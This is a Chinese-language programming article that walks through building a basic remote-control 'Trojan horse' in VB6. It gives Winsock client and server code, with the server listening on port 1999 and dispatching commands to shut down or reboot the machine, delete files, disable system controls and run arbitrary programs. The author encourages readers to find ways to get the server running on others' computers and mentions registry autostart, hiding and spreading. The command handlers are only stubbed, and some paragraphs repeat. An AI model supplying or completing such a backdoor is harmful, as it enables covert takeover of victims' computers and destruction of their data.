上一篇:浅析ADO 事件模型 >>
浅谈用VB6.0编写“特洛伊木马”程序
使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
| Private Sub cmdConnect_Click() If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then MsgBox ("请输入主机名或主机IP地址。") Exit Sub Else If Len(Text1.Text) > 0 Then tcpClient.RemoteHost = Text1.Text Else tcpClient.RemoteHost = Text2.Text End If End If tcpClient.Connect Timer1.Enabled = True End Sub |
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
| Private Sub Form_Load() tcpServer.LocalPort = 1999 tcpServer.Listen End Sub |
准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
| Private Sub tcpServer_ConnectionRequest (ByVal requestID As Long) If tcpServer.State < > sckClosed Then tcpServer.Close‘检查控件的 State 属性是否为关闭的。 End If ’如果不是,在接受新的连接之前先关闭此连接。 tcpServer.Accept requestID End Sub |
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
| Private Sub tcpServer_DataArrival (ByVal bytesTotal As Long) Dim strData As String Dim i As Long Dim mKey As String tcpServer.GetData strData ‘接收数据并存入strData For i = 1 To Len(strData) ‘分离strData中的命令 If Mid(strData, i, 1) = "@" Then mKey = Left(strData, i - 1) ‘把命令ID号存入mKey ‘把命令参数存入strData strData = Right(strData, Len(strData) - i) Exit For End If Next i Select Case Val(mKey) Case 1 ‘驱动器名、目录名、文件名 Case 2 强制关闭服务器端的计算机 Case 3 强制重启服务器端的计算机 Case 4 屏蔽任务栏窗口; Case 5 屏蔽开始菜单; Case 6 按照客户机端传过来的文件名或目录名,而删除它; Case 7 屏蔽热启动键; Case 8 运行服务器端的任何程序 End Select End Sub |
详细程序略。
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
| Private Sub tcpServer_Close() tcpServer.Close tcpServer.Listen End Sub |
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。
下一篇:用Visual Basic轻松实现看图软件 >>
相关文章:
- · VB6.0中Dir()函数的使用方法
- · Visual Basic中文本框处理技巧集萃
- · VB访问SQL Server数据库技术全揭密
- · Vb Windows API类型库
- · 网络编程之winsock控件简介使用方法
- · ado错误代码及说明
- · 解决报表的打印输出问题的方案
- · VB 6.0中类聚集关系的实现
- · 利用VB 实现短消息收发
- · 用VB 实现GPS 信息处理1
- · VB软件开发中的错误捕获及处理技术
- · 发现之旅(5):VB实现windows录音机
- · 发现之旅(4):VB实现内存整理
- · 发现之旅(3):VB实现逻辑盘隐藏分区
- · 发现之旅(2):VB制作虚拟光驱文件
- · 用VB实现窗口图标最小化到通知栏
- · Visual Basic数据库开发疑难问题解
- · 优化之路:精简VB程序的代码
- · 优化之路:精简VB中的分段应用程序
- · VB6.0设计真正实用的TreeView控件
- · VB制作一个通信卡片ActiveX控件
- · 用VB设计控制上网时间程序
- · VB6.0数据库访问技术与例程解析
- · VB6将XML数据传入TreeView控件
- · 在VB中用DAO实现数据库编程
- · VB表格控件总览与例程分析
- · VB中用API实现文件拖放
- · 串口通讯及其在VB平台下的实现
- · VB下Video/Audio压缩数据流播放设计
- · 全面剖析VB.NET(7)
- · 全面剖析VB.NET(6)
- · 全面剖析VB.NET(5)
- · 全面剖析VB.NET(4)
- · 全面剖析VB.NET(3)
- · 全面剖析VB.NET(2)
- · 全面剖析VB.NET(1)
- · 域名专题 - 域名劫持---163.net被h的分析
- · VB中利用OpenGL绘制三维地质构造图
